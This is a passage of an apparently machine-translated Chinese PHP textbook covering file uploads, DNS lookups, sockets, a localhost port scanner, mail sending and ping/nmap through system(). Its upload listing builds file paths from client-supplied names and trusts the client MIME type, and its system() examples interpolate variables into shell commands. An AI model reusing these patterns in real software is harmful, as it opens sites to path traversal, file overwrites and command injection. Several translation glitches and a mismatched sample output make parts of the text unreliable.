因为上传的文件必须在对该文件的后续处理可以开始之前成功地传输到服务器,所以必须为这些文件指定一个分类暂存区,在将它们移动到最终位置之前,可以将它们临时放置在该暂存区中。这个暂存位置是使用upload_tmp_dir指令指定的。例如,假设您想将上传的文件临时存储在/tmp/phpuploads/目录中。您将使用以下内容:

upload_tmp_dir = "/tmp/phpuploads/"

请记住,该目录必须是拥有服务器进程的用户可写的。因此,如果用户nobody拥有 Apache 进程,那么用户nobody应该成为临时上传目录的所有者或者拥有该目录的组的成员。如果不这样做,用户nobody将无法将文件写入目录(除非对目录分配了全局写入权限)。如果upload_tmp_dir未定义或设置为空,将使用系统定义的 tmp 目录。在大多数 Linux 系统上,这将是/tmp。

$_ FILES 数组

超级全局存储了与通过 PHP 脚本上传到服务器的文件相关的各种信息。在这个数组中总共有五个可用的项目,这里将对每个项目进行介绍。

注意

本节介绍的每个数组元素都引用了用户文件。该术语只是分配给文件上传表单元素的名称的占位符,与用户硬盘上的文件名无关。您可能会根据您选择的名称分配来更改此名称。

  • 这个数组值提供了与上传结果相关的重要信息。总共有五个可能的返回值:一个表示成功的结果,另外四个表示尝试中出现的特定错误。“上传错误消息”一节介绍了每个返回值的名称和含义。

  • $_FILES['userfile']['name']:该变量指定了文件的原始名称,包括在客户端机器上声明的扩展名。因此,如果你浏览到一个名为vacation.png的文件并通过表单上传,这个变量将被赋值为vacation.png

  • $_FILES['userfile']['size']:该变量指定从客户端机器上传的文件的大小,以字节为单位。例如,在vacation.png文件的情况下,这个变量可能被赋予一个值,比如 5253,或者大约 5KB。

  • $_FILES['userfile']['tmp_name']:该变量指定文件上传到服务器后分配给文件的临时名称。当文件保存到临时目录(由 PHP 指令upload_tmp_dir指定)时,这个值由 PHP 自动生成。

  • $_FILES['userfile']['type']:该变量指定从客户端机器上传的文件的 MIME 类型。因此,在vacation.png图像文件的情况下,这个变量将被赋予值image/png。如果上传了 PDF,将分配值application/pdf。因为这个变量有时会产生意想不到的结果,所以您应该在脚本中明确地验证它。

PHP 的文件上传功能

除了通过 PHP 的文件系统库提供的大量文件处理函数(更多信息见第十章),PHP 还提供了两个专门用于帮助文件上传过程的函数,is_uploaded_file()move_uploaded_file()

确定文件是否已上传

is_uploaded_file()函数确定输入参数filename指定的文件是否使用POST方法上传。其原型如下:

boolean is_uploaded_file(string filename)

此功能旨在防止潜在的攻击者通过所讨论的脚本操纵不用于交互的文件。该函数检查文件是否是通过 HTTP POST 上传的,而不仅仅是系统上的任何文件。以下示例显示了在将上传的文件移动到其最终位置之前,如何进行简单的检查。

<?php
if (is_uploaded_file($_FILES['classnotes']['tmp_name'])) {
     copy($_FILES['classnotes']['tmp_name'],
              "/www/htdocs/classnotes/".$_FILES['classnotes']['name']);
} else {
     echo "<p>Potential script abuse attempt detected.</p>";
}
?>

移动上传的文件

move_uploaded_file()功能提供了一种将上传文件从临时目录移动到最终位置的便捷方法。其原型如下:

boolean move_uploaded_file(string filename, string destination)

虽然copy()工作得同样好,但是move_uploaded_file()提供了一个额外的特性:它将检查以确保由filename输入参数表示的文件实际上是通过 PHP 的 HTTP POST上传机制上传的。如果文件尚未上传,移动将失败,并将返回一个假值。因此,你可以放弃使用is_uploaded_file()作为使用move_uploaded_file()的先决条件。

使用move_uploaded_file()很简单。考虑这样一个场景,您希望将上传的课堂笔记文件移动到目录/www/htdocs/classnotes/中,同时保留客户端上指定的文件名:

move_uploaded_file($_FILES['classnotes']['tmp_name'],
                        "/www/htdocs/classnotes/".$_FILES['classnotes']['name']);

当然,在文件被移动后,您可以将它重命名为您想要的任何名称。但是,在第一个(源)参数中正确引用文件的临时名称是很重要的。

上传错误消息

像任何其他涉及用户交互的应用组件一样,您需要一种方法来评估结果,成功与否。你如何确定文件上传过程是成功的?如果在上传过程中出现问题,您如何知道是什么导致了错误?令人高兴的是,在$_FILES['userfile']['error']中提供了足够的信息来确定结果(以及错误的原因):

  • UPLOAD_ERR_OK:如果上传成功,则返回值0

  • UPLOAD_ERR_INI_SIZE:如果试图上传的文件大小超过了upload_max_filesize指令指定的值,则返回值1

  • UPLOAD_ERR_FORM_SIZE:如果试图上传一个文件,其大小超过了max_file_size指令的值,则返回值2,该指令可以嵌入到 HTML 表单中

注意

因为max_file_size指令嵌入在 HTML 表单中,所以它很容易被有野心的攻击者修改。因此,总是使用 PHP 的服务器端设置(upload_max_filesizepost_max_filesize)来确保不会超过这样的预定绝对值。

  • UPLOAD_ERR_PARTIAL:如果文件没有完全上传,则返回值3。如果网络错误导致上传过程中断,可能会发生这种情况。

  • UPLOAD_ERR_NO_FILE:如果用户提交表单时没有指定上传文件,则返回值4

  • UPLOAD_ERR_NO_TMP_DIR:如果临时目录不存在,则返回值 6。

  • UPLOAD_ERR_CANT_WRITE:如果文件无法写入磁盘,则返回值 7。

  • UPLOAD_ERR_EXTENSION:如果某个已安装的 PHP 扩展导致上传停止,则返回值 8。

一个简单的例子

清单 15-1 ( uploadmanager.php)实现了贯穿本章的课堂笔记示例。为了形式化这个场景,假设一位教授邀请学生在他的网站上发布课堂笔记,这个想法是每个人都可以从这样的合作努力中获得一些东西。当然,尽管如此,还是应该在应该得到学分的地方给予学分,所以每个上传的文件都应该重新命名,以包括学生的姓氏。此外,只接受 PDF 文件。

<form action="listing15-1.php" enctype="multipart/form-data" method="post">
  <label form="email">Email:</label><br>
  <input type="text" name="email" value=""><br>
  <label form="lastname">Last Name:</label><br>
  <input type="text" name="lastname" value=""><br>
  <label form="classnotes">Class notes:</label><br>
  <input type="file" name="classnotes" value=""><br>
  <input type="submit" name="submit" value="Submit Notes">
</form>
<?php

// Set a constant
define ("FILEREPOSITORY","/var/www/5e/15/classnotes");

// Make sure that the file was POSTed.
If ($_FILES['classnotes']['error'] == UPLOAD_ERR_OK) {
    if (is_uploaded_file($_FILES['classnotes']['tmp_name'])) {
        // Was the file a PDF?
        if ($_FILES['classnotes']['type'] != "application/pdf") {
            echo "<p>Class notes must be uploaded in PDF format.</p>";
        } else {
            // Move uploaded file to final destination.
            $result = move_uploaded_file($_FILES['classnotes']['tmp_name'],
                      FILEREPOSITORY . $_POST['lastname'] . '_' . $_FILES['classnotes']['name']);
           if ($result == 1) echo "<p>File successfully uploaded.</p>";
               else echo "<p>There was a problem uploading the file.</p>";
        }
    }
}
else {
    echo "<p>There was a problem with the upload. Error code {$_FILES['classnotes']['error']}</p>”;
}
?>

Listing 15-1A Simple File-Upload Example

警告

请记住,文件是在 web 服务器守护进程所有者的伪装下上传和移动的。如果没有为该用户的临时上传目录和最终目录目标分配足够的权限,将导致无法正确执行文件上传过程。

尽管手动创建自己的文件上传机制很容易,但是HTTP_Upload PEAR 包确实让这项任务变得很简单。

摘要

通过网络传输文件消除了防火墙、FTP 服务器和客户端带来的诸多不便。不需要额外的应用,安全性可以在 web 应用中进行管理。它还增强了应用轻松操作和发布非传统文件的能力。在这一章中,你知道了在你的 PHP 应用中添加这样的功能是多么容易。除了提供 PHP 文件上传特性的全面概述之外,还讨论了几个实际例子。

下一章将详细介绍通过会话处理跟踪用户这一非常有用的 Web 开发主题。

十六、网络编程

你可能会翻到这一章,想知道 PHP 在网络方面能提供什么。毕竟,网络任务不是很大程度上属于系统管理常用的语言吗,比如 Perl 或 Python?虽然这种刻板印象可能曾经描绘了一幅相当准确的画面,但如今,将网络功能整合到 web 应用中已经司空见惯。事实上,基于 web 的应用经常被用来监控甚至维护网络基础设施。此外,使用 PHP 的命令行版本。使用最喜欢的语言和所有可用的库来编写系统管理的高级脚本是非常容易的。PHP 开发人员总是热衷于承认不断增长的用户需求,他们已经集成了一系列令人印象深刻的特定于网络的功能。

本章分为几节,涵盖以下主题:

  • DNS、服务器和服务 : PHP 提供了多种功能,能够检索关于网络内部、DNS、协议和互联网寻址方案的信息。本节将介绍这些函数,并提供几个使用示例。

  • 用 PHP 发送电子邮件:通过 web 应用发送电子邮件无疑是目前你能找到的最常见的功能之一,而且理由充分。电子邮件仍然是互联网的杀手级应用,为交流和维护重要的数据和信息提供了一种非常有效的手段。本节解释了如何通过 PHP 脚本轻松发送消息。此外,您将了解如何使用 PHPMailer 库来简化更复杂的电子邮件发送,例如涉及多个收件人、HTML 格式和包含附件的发送。

  • 常见网络任务:在本节中,您将学习如何使用 PHP 来模拟通常由命令行工具执行的任务,包括 ping 网络地址、跟踪网络连接、扫描服务器的开放端口等等。

DNS、服务和服务器

如今,对网络问题进行调查或故障排除通常需要收集与受影响的客户端、服务器和网络内部相关的各种信息,如协议、域名解析和 IP 寻址方案。PHP 提供了许多函数来检索关于每个主题的大量信息,本节将介绍每一个函数。

域名服务器(Domain Name Server)

域名系统(DNS)允许您使用域名(如 example.com)代替相应的 IP 地址,如 192.0.34.166。域名及其互补的 IP 地址存储在散布在全球各地的域名服务器上。通常,一个域有多种类型的相关记录,一种将 IP 地址映射到该域的特定主机名,另一种用于定向电子邮件,还有一种用于域名别名。网络管理员和开发人员经常需要了解给定域的各种 DNS 记录。本节介绍了许多标准的 PHP 函数,这些函数能够挖掘大量关于 DNS 记录的信息。

检查 DNS 记录是否存在

checkdnsrr()函数检查 DNS 记录的存在。其原型如下:

int checkdnsrr(string host [, string type])

根据提供的host值和可选的 DNS 资源记录type检查 DNS 记录,如果找到任何记录,则返回TRUE,否则返回FALSE。可能的记录类型包括以下几种:

  • A : IPv4 地址记录。负责主机名到 IPv4 地址的转换。

  • AAAA : IPv6 地址记录。负责主机名到 IPv6 地址的转换。

  • A6 : IPv6 地址记录。用于表示 IPv6 地址。旨在取代目前用于 IPv6 映射的 AAAA 记录。

  • ANY :查找任何类型的记录。

  • CNAME :规范名称记录。将别名映射到真实域名。

  • MX :邮件交换记录。确定主机邮件服务器的名称和相对首选项。这是默认设置。

  • NAPTR :命名机构指针。允许不符合 DNS 的名称,使用正则表达式重写规则将它们解析到新域。例如,NAPTR 可能用于维护遗留(前 DNS)服务。

  • NS :名称服务器记录。确定主机的名称服务器。

  • PTR :指针记录。将 IP 地址映射到主机。

  • SOA :权限记录开始。为主机设置全局参数。

  • SRV :服务记录。表示所提供域的各种服务的位置。

  • TXT :文本记录。存储有关主机的其他未格式化信息,如 SPF 记录。

举个例子。假设您想要验证域名 example.com 是否有相应的 DNS 记录:

<?php
    $domain = "example.com";
    $recordexists = checkdnsrr($domain, "ANY");
    if ($recordexists)
      echo "The domain '$domain' has a DNS record!";
    else
      echo "The domain '$domain' does not appear to have a DNS record!";
?>

这将返回以下内容:

The domain 'example.com' exists

您还可以使用此函数来验证所提供的邮件地址的域是否存在:

<?php
    $email = "ceo@example.com";
    $domain = explode("@",$email);

    $valid = checkdnsrr($domain[1], "MX");

    if($valid)
      echo "The domain has an MX record!";
    else
      echo "Cannot locate MX record for $domain[1]!";
?>

这将返回以下内容:

Cannot locate MX record for example.com!

将记录类型更改为“A”将导致脚本返回有效的响应。这是因为 example.com 域有一个有效的 A 记录,但没有有效的 MX(邮件交换)记录。请记住,这不是请求验证 MX 记录的存在。有时,网络管理员采用其他配置方法来允许在不使用 MX 记录的情况下进行邮件解析(因为 MX 记录不是强制性的)。为了谨慎起见,只需检查域是否存在,而不需要特别要求验证 MX 记录是否存在。

此外,这并不能验证电子邮件地址是否真的存在。做出这一决定的唯一确定方法是向用户发送一封电子邮件,并要求他通过单击一次性 URL 来验证地址。你可以在第十四章中了解更多关于一次性 URL 的信息。

正在检索 DNS 资源记录

函数的作用是:返回一个数组,该数组包含与特定域相关的各种 DNS 资源记录。其原型如下:

array dns_get_record(string hostname [, int type [, array &authns, array &addtl]])

默认情况下,dns_get_record()返回它可以找到的特定于所提供的域的所有记录(hostname);但是,您可以通过指定类型来简化检索过程,类型的名称必须以 DNS 开头。该功能支持与checkdnsrr()一起介绍的所有类型,以及稍后将介绍的其他类型。最后,如果您正在寻找这个主机名的 DNS 描述的完整描述,您可以通过引用传递authnsaddtl参数,它们指定与权威名称服务器和附加记录相关的信息也应该被返回。

假设提供的hostname有效并且存在,对dns_get_record()的调用至少返回四个属性:

  • host:指定所有其他属性对应的 DNS 名称空间的名称。

  • class:仅返回类 Internet 的记录,因此该属性始终为IN

  • type:决定记录类型。根据返回的类型,其他属性也可能可用。

  • ttl:计算记录的原始生存时间减去自查询权威名称服务器以来经过的时间。

除了在checkdnsrr()一节中介绍的类型外,dns_get_record() :还可以使用以下域记录类型

  • DNS_ALL:检索所有可用的记录,甚至是那些在使用特定操作系统的识别功能时可能无法识别的记录。当您希望绝对确定所有可用记录都已被检索时,请使用此选项。

  • DNS_ANY:检索特定操作系统识别的所有记录。

  • DNS_HINFO:指定主机的操作系统和计算机类型。请记住,这些信息不是必需的。

  • DNS_NS:确定名称服务器是否是给定域的权威答案,或者该职责是否最终委托给另一个服务器。

请记住,类型名必须总是以DNS_开头。例如,假设您想了解有关 example.com 域的更多信息:

<?php
    $result = dns_get_record("example.com");
    print_r($result);
?>

返回信息的示例如下:

Array
(
    [0] => Array
        (
            [host] => example.com
            [class] => IN
            [ttl] => 3600
            [type] => SOA
            [mname] => sns.dns.icann.org
            [rname] => noc.dns.icann.org
            [serial] => 2018013021
            [refresh] => 7200
            [retry] => 3600
            [expire] => 1209600
            [minimum-ttl] => 3600
        )

    [1] => Array
        (
            [host] => example.com
            [class] => IN
            [ttl] => 25742
            [type] => NS
            [target] => a.iana-servers.net
        )

    [2] => Array
        (
            [host] => example.com
            [class] => IN
            [ttl] => 25742
            [type] => NS
            [target] => b.iana-servers.net
        )

    [3] => Array
        (
            [host] => example.com
            [class] => IN
            [ttl] => 25742
            [type] => AAAA
            [ipv6] => 2606:2800:220:1:248:1893:25c8:1946
        )

    [4] => Array

        (
            [host] => example.com
            [class] => IN
            [ttl] => 25742
            [type] => A
            [ip] => 93.184.216.34
        )

    [5] => Array
        (
            [host] => example.com
            [class] => IN
            [ttl] => 60
            [type] => TXT
            [txt] => v=spf1 -all
            [entries] => Array
                (
                    [0] => v=spf1 -all
                )
        )

    [6] => Array
        (
            [host] => example.com
            [class] => IN
            [ttl] => 60
            [type] => TXT
            [txt] => $Id: example.com 4415 2015-08-24 20:12:23Z davids $
            [entries] => Array

                (
                    [0] => $Id: example.com 4415 2015-08-24 20:12:23Z davids $
                )
        )
)

如果您只对地址记录感兴趣,您可以执行以下命令:

<?php
    $result = dns_get_record("example.com", DNS_A);
    print_r($result);
?>

这将返回以下内容:

Array (
  [0] => Array (
    [host] => example.com
    [type] => A
    [ip] => 192.0.32.10
    [class] => IN
    [ttl] => 169679 )
)

正在检索 MX 记录

getmxrr()函数检索由hostname指定的域的 MX 记录。其原型如下:

boolean getmxrr(string hostname, array &mxhosts [, array &weight])

hostname指定的主机的 MX 记录被添加到由mxhosts指定的数组中。如果提供了可选的输入参数weight,相应的权重值将放在那里;这些是指分配给记录所标识的每台服务器的命中率。下面是一个例子:

<?php
    getmxrr("wjgilmore.com", $mxhosts);
    print_r($mxhosts);
?>

这将返回以下输出:

Array ( [0] => aspmx.l.google.com)

服务

虽然我们经常在广义上使用互联网这个词,指的是聊天、阅读或下载某个游戏的最新版本,但我们实际上指的是一个或几个互联网服务,它们共同定义了这个交流平台。这些服务的例子包括 HTTP、HTTPS、FTP、POP3、IMAP 和 SSH。由于各种原因(这方面的解释超出了本书的范围),每个服务通常都在一个特定的通信端口上运行。例如,HTTP 的默认端口是 80,SSH 的默认端口是 22。如今,对网络各级防火墙的广泛需求使得这方面的知识变得非常重要。两个 PHP 函数,getservbyname()getservbyport() ,可用于了解更多关于服务及其相应端口号的信息。

检索服务的端口号

函数的作用是:返回指定服务的端口号。其原型如下:

int getservbyname(string service, string protocol)

对应于service的服务必须使用与在/etc/services文件或 C:\ Windows \ System32 \ drivers \ etc(在 Windows 系统上)中找到的相同名称来指定。protocol参数指定您是指这个服务的tcp还是udp组件。考虑一个例子:

<?php
    echo "HTTP's default port number is: ".getservbyname("http", "tcp");
?>

这将返回以下内容:

HTTP's default port number is: 80

检索端口号的服务名

getservbyport()函数返回与所提供的端口号相对应的服务名。其原型如下:

string getservbyport(int port, string protocol)

protocol参数指定您是指服务的tcp还是udp组件。考虑一个例子:

<?php
    echo "Port 80's default service is: ".getservbyport(80, "tcp");
?>

这将返回以下内容:

Port 80's default service is: www

建立套接字连接

在今天的网络环境中,您经常想要查询本地和远程的服务。这通常是通过与该服务建立套接字连接来实现的。本节演示了如何使用fsockopen()功能来实现这一点。其原型如下:

resource fsockopen(string target, int port [, int errno [, string errstring
                   [, float timeout]]])

fsockopen()函数建立到端口上target指定的资源的连接,返回错误信息给可选参数errnoerrstring。可选参数timeout设置了一个时间限制,以秒为单位,该函数在失败前将尝试建立连接多长时间。

第一个示例显示了如何使用fsockopen()建立到 www.example.com 的端口 80 连接,以及如何输出索引页面:

<?php

    // Establish a port 80 connection with www.example.com
    $http = fsockopen("www.example.com",80);

    // Send a request to the server
    $req = "GET / HTTP/1.1\r\n";
    $req .= "Host: www.example.com\r\n";
    $req .= "Connection: Close\r\n\r\n";

    fputs($http, $req);

    // Output the request results
    while(!feof($http)) {
        echo fgets($http, 1024);
    }

    // Close the connection
    fclose($http);
?>

这将返回以下输出:

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: text/html
Date: Sun, 25 Feb 2018 23:12:08 GMT
Etag: "1541025663+gzip+ident"
Expires: Sun, 04 Mar 2018 23:12:08 GMT
Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT
Server: ECS (sea/5557)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1270
Connection: close

<!doctype html>
<html>
<head>
    <title>Example Domain</title>

    <meta charset="utf-8" />
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <style type="text/css">
    body {
        background-color: #f0f0f2;
        margin: 0;
        padding: 0;
        font-family: "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;

    }
    div {
        width: 600px;
        margin: 5em auto;
        padding: 50px;
        background-color: #fff;
        border-radius: 1em;
    }
    a:link, a:visited {
        color: #38488f;
        text-decoration: none;
    }
    @media (max-width: 700px) {
        body {
            background-color: #fff;
        }
        div {
            width: auto;
            margin: 0 auto;
            border-radius: 0;
            padding: 1em;
        }
    }
    </style>
</head>

<body>
<div>
    <h1>Example Domain</h1>
    <p>This domain is established to be used for illustrative examples in documents

. You may use this
    domain in examples without prior coordination or asking for permission.</p>
    <p><a href="http://www.iana.org/domains/example">More information...</a></p>
</div>
</body>
</html>

输出显示了来自服务器的完整响应(头和主体)。使用 PHP 通过基于 HTTP 的服务检索内容可以通过对file_get_contents() which only returns the body part的单个函数调用来完成,但是对于遵循 PHP 不知道的协议的其他服务,必须使用 socket 函数并手动构建支持,如上例所示。

第二个例子,如清单 16-1 所示,展示了如何使用fsockopen()构建一个基本的端口扫描器。

<?php

    // Give the script enough time to complete the task
    ini_set("max_execution_time", 120);

    // Define scan range
    $rangeStart = 0;
    $rangeStop = 1024;

    // Which server to scan?
    $target = "localhost";

    // Build an array of port values
    $range =range($rangeStart, $rangeStop);

    echo "<p>Scan results for $target</p>";

    // Execute the scan
    foreach ($range as $port) {
        $result = @fsockopen($target, $port,$errno,$errstr,1);
        if ($result) echo "<p>Socket open at port $port</p>";
    }

?>

Listing 16-1Creating a Port Scanner with fsockopen()

使用此脚本扫描我的本地计算机会产生以下输出:

Scan results for localhost
Socket open at port 22
Socket open at port 80
Socket open at port 631

请注意,运行远程计算机的扫描很可能会导致防火墙阻止请求。

完成同样任务的一个更为懒惰的方法是使用一个程序执行命令,比如system()和精彩的免费软件包 Nmap ( https://nmap.org/ )。“常见网络任务”一节演示了这种方法。

邮件

PHP 强大的邮件功能非常有用,而且许多 web 应用都需要它,因此这一部分很可能是本章中最受欢迎的部分之一,如果不是整本书的话。在本节中,您将学习如何使用 PHP 流行的mail()函数发送电子邮件,包括如何控制标题、包含附件以及执行其他常见的任务。

本节介绍了相关的配置指令,描述了 PHP 的mail()函数,并以几个例子强调了该函数的多种用法。

配置指令

有五个配置指令与 PHP 的mail()函数相关。请密切注意这些描述,因为每个描述都是特定于平台的。

SMTP = 字符串

范围:PHP_INI_ALL;默认值:localhost

指令为 PHP 的 Windows 平台版本的邮件功能设置邮件传输代理(MTA)。请注意,这仅与 Windows 平台相关,因为该功能的 Unix 平台实现实际上只是该操作系统邮件功能的包装。相反,Windows 实现依赖于由该指令定义的到本地或远程 MTA 的套接字连接。

sendmail_from = 字符串

范围:PHP_INI_ALL;默认值:NULL

sendmail_from指令设置消息头的From字段和返回路径。

sendmail_path = 字符串

范围:PHP_INI_SYSTEM;默认值:默认的 sendmail 路径

如果 sendmail 二进制文件不在系统路径中,或者如果您想向二进制文件传递额外的参数,那么sendmail_path指令会设置它的路径。默认情况下,这被设置为以下内容:

sendmail -t -i

请记住,该指令仅适用于 Unix 平台。Windows 依赖于与 smtp_port 端口上的 SMTP 指令指定的 SMTP 服务器建立套接字连接。

smtp_port = 整数

范围:PHP_INI_ALL;默认值:25

ort 指令设置用于连接 SMTP 指令指定的服务器的端口。

mail . force _ extra _ parameters =string

范围:PHP_INI_SYSTEM;默认值:NULL

您可以使用mail.force_extra_parameters指令将附加标志传递给 sendmail 二进制文件。注意,这里传递的任何参数都将替换那些通过mail()函数的addl_params参数传递的参数。

使用 PHP 脚本发送电子邮件

使用mail()函数,可以通过 PHP 脚本以极其简单的方式发送电子邮件。其原型如下:

boolean mail(string to, string subject, string message [, string addl_headers [, string addl_params]])

mail()功能可以向一个或多个收件人发送带有主题和信息的电子邮件。您可以使用 addl_header s参数定制许多电子邮件属性;您甚至可以通过addl_params参数传递额外的标志来修改您的 SMTP 服务器的行为。请注意,该函数不验证 addl_headers 参数的内容。添加多个换行符会破坏电子邮件。确保只添加有效的标题。

在 Unix 平台上,PHP 的mail()函数依赖于 sendmail MTA。如果你使用另一种 MTA(例如 qmail),你需要使用 MTA 的 sendmail 包装器。PHP 的 Windows 函数实现依赖于建立一个套接字连接到一个由配置指令SMTP指定的 MTA,在前一节中已经介绍过。

本节的剩余部分将通过大量的例子来突出这个简单而强大的函数的许多功能。

发送纯文本电子邮件

使用mail()函数发送最简单的电子邮件很简单,除了第四个参数(允许您识别发件人)之外,只使用三个必需的参数就可以完成。这里有一个例子:

<?php
    mail("test@example.com", "This is a subject", "This is the mail body",
           "From:admin@example.com\r\n");
?>

请特别注意如何设置发件人地址,包括\r\n(回车加换行符)字符。忽略以这种方式格式化地址会产生意想不到的结果或导致功能完全失败。

利用 PHPMailer

虽然可以使用mail()函数来执行更复杂的操作,比如发送给多个收件人、用 HTML 格式的电子邮件骚扰用户或者包含附件,但是这样做可能是一个繁琐且容易出错的过程。然而,PHPMailer 库( https://github.com/PHPMailer/PHPMailer )让这样的任务变得轻而易举。

安装 PHPMailer

安装这个库很容易,它是通过前面描述的 composer 工具来完成的。将以下行添加到 composer.json 文件中,并在该目录中运行 composer update:

"phpmailer/phpmailer": "~6.0"

您也可以运行以下命令行来安装文件:

composer require phpmailer/phpmailer

这将在您的本地供应商文件夹中安装文件,并且这些文件可以使用。instalPackage 操作的输出:1 次安装,11 次更新,0 次删除

  - Updating symfony/polyfill-mbstring (v1.6.0 => v1.7.0): Downloading (100%)
  - Updating symfony/translation (v3.4.1 => v4.0.4): Downloading (100%)
  - Updating php-http/discovery (1.3.0 => 1.4.0): Downloading (100%)
  - Updating symfony/event-dispatcher (v2.8.32 => v2.8.34): Downloading (100%)
  - Installing phpmailer/phpmailer (v6.0.3): Downloading (100%)
  - Updating geoip/geoip dev-master (1f94041 => b82fe29):  Checking out b82fe29281
  - Updating nesbot/carbon dev-master (926aee5 => b1ab4a1):  Checking out b1ab4a10fc
  - Updating ezyang/htmlpurifier dev-master (5988f29 => c1167ed):  Checking out c1167edbf1
  - Updating guzzlehttp/guzzle dev-master (501c7c2 => 748d67e):  Checking out 748d67e23a
  - Updating paypal/rest-api-sdk-php dev-master (81c2c17 => 219390b):  Checking out 219390b793
  - Updating piwik/device-detector dev-master (caf2d15 => 319d108):  Checking out 319d108899
  - Updating twilio/sdk dev-master (e9bc80c => d33971d):  Checking out d33971d26a
phpmailer/phpmailer suggests installing league/oauth2-google (Needed for Google XOAUTH2 authentication)
phpmailer/phpmailer suggests installing hayageek/oauth2-yahoo (Needed for Yahoo XOAUTH2 authentication)
phpmailer/phpmailer suggests installing stevenmaguire/oauth2-microsoft (Needed for Microsoft XOAUTH2 authentication)lation will look similar to this:

用 PHPMailer 发送电子邮件

使用 PHPMailer 类需要使用两个名称空间,然后包含作曲者的 autoload.php 脚本。任何使用此功能的脚本都应该在顶部包含以下几行:

<?php
// Import PHPMailer classes into the global namespace
// These must be at the top of your script, not inside a function
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

//Load composer's autoloader
require 'vendor/autoload.php';

发送电子邮件的过程从 PHPMailer 类的安装开始:

$mail = new PHPMailer(true);        // True indicates that exceptions are used.

使用$mail 对象,您现在可以添加发件人地址、一个或多个收件人、指定 SMTP 主机。等等。

如果您的 web 服务器可以在未经身份验证的情况下访问本地主机上的 SMTP 服务器,您可以使用如下简单脚本来发送电子邮件:

<?php
// Import PHPMailer classes into the global namespace
// These must be at the top of your script, not inside a function
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

//Load composer's autoloader
require 'autoload.php';

$mail = new PHPMailer(true);

$mail->isSMTP();
$mail->Host = "localhost";

$mail->setFrom('from@mywebsite.com', 'Web Site');
$mail->addAddress('user@customer.com');
$mail->Subject = 'Thank you for the order';
$mail->Body = "Your package will ship out asap!";
$mail->send();
?>

为了将邮件发送给多个收件人,您可以为每个收件人一直调用addAddress()方法。该对象还支持addCC()addBCC()方法。

如果您的邮件服务器需要身份验证,您可以使用以下行来调整配置:

$mail->isSMTP();                                      // Set mailer to use SMTP
$mail->Host = 'smtp1.example.com;smtp2.example.com';  // Specify main and backup SMTP servers
$mail->SMTPAuth = true;                               // Enable SMTP authentication
$mail->Username = 'user@example.com';                 // SMTP username
$mail->Password = 'secret';                           // SMTP password
$mail->SMTPSecure = 'tls';                            // Enable TLS encryption, `ssl` also accepted
$mail->Port = 587;                                    // TCP port to connect to

到目前为止,电子邮件只包含纯文本。为了将它更改为包含 HTML 内容,您需要使用参数 true 调用 isHTML()方法。

$mail->isHTML(true);

请注意,可以为 Body 属性指定一个 HTML 字符串,最好也为 AltBody 属性指定一个值。如果电子邮件在不能呈现 HTML 消息的客户端中呈现,AltBody 属性将是用户将看到的版本。

最后,添加附件也很简单。方法addAttachment()使用完整路径的文件名,并将文件附加到消息中。多次调用addAttachment()将允许附加多个文件。请注意,一些邮件系统会限制电子邮件的总大小,甚至会过滤掉带有可执行文件或其他已知携带恶意软件的文件类型的电子邮件。包含用户可以下载文件的链接可能更简单。

常见网络任务

尽管各种命令行应用早已能够执行本节中演示的联网任务,但是提供一种通过 Web 执行这些任务的方法肯定是有用的。虽然命令行的功能更强大、更灵活,但是通过 Web 查看这些信息有时更方便。不管是什么原因,您都可以很好地利用本节中的一些应用。

注意

本节中的几个例子使用了system()函数。该功能在第十章中介绍。

Pinging 服务器

验证服务器的连通性是一项常见的管理任务。以下示例向您展示了如何使用 PHP 实现这一点:

<?php

    // Which server to ping?
    $server = "www.example.com";

    // Ping the server how many times?
    $count = 3;

    // Perform the task
    echo "<pre>";
    system("ping -c {$count} {$server}");
    echo "</pre>";
?>

前面的代码应该相当简单。在 ping 请求中使用固定数量的计数将导致 ping 命令在达到该数量时终止,然后输出将返回给 PHP 并传递回客户端。

示例输出如下:

PING www.example.com (93.184.216.34) 56(84) bytes of data.
64 bytes from 93.184.216.34 (93.184.216.34): icmp_seq=1 ttl=60 time=0.798 ms
64 bytes from 93.184.216.34 (93.184.216.34): icmp_seq=2 ttl=60 time=0.846 ms
64 bytes from 93.184.216.34 (93.184.216.34): icmp_seq=3 ttl=60 time=0.828 ms

--- www.example.com ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2027ms
rtt min/avg/max/mdev = 0.798/0.824/0.846/0.019 ms

PHP 的程序执行功能非常强大,因为它们允许您利用安装在服务器上的任何程序,只要这些程序被分配了适当的权限。

创建端口扫描器

本章前面对fsockopen()的介绍伴随着如何创建端口扫描器的演示。然而,与本节中介绍的许多任务一样,使用 PHP 的一个程序执行函数可以更容易地完成这些任务。下面的例子使用了 PHP 的system()函数和 Nmap(网络映射器)工具:

<?php
    $target = "localhost";
    echo "<pre>";
    system("nmap {$target}");
    echo "</pre>";
?>

示例输出的一个片段如下:

Starting Nmap 6.40 ( http://nmap.org ) at 2018-02-25 19:00 PST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00042s latency).
Other addresses for localhost (not scanned): 127.0.0.1
Not shown: 991 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
443/tcp  open  https
3306/tcp open  mysql
5432/tcp open  postgresql
8080/tcp open  http-proxy
9000/tcp open  cslistener

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

列出的端口号表示 web 服务器可以访问主机上的哪些内容。防火墙可能会阻止从互联网访问这些端口。

创建子网转换器

您可能曾经绞尽脑汁试图找出一些模糊的网络配置问题。最常见的是,这种灾难的罪魁祸首似乎集中在有故障或未插好的网络电缆上。第二个最常见的问题可能是在计算必要的基本网络要素时出现的错误:IP 地址、子网掩码、广播地址、网络地址等等。为了解决这个问题,可以引入一些 PHP 函数和位运算来帮你进行计算。当提供一个 IP 地址和一个位掩码时,清单 16-2 计算其中的几个部分。

<form action="listing16-2.php" method="post">
<p>
IP Address:<br />
<input type="text" name="ip[]" size="3" maxlength="3" value="" />.
<input type="text" name="ip[]" size="3" maxlength="3" value="" />.
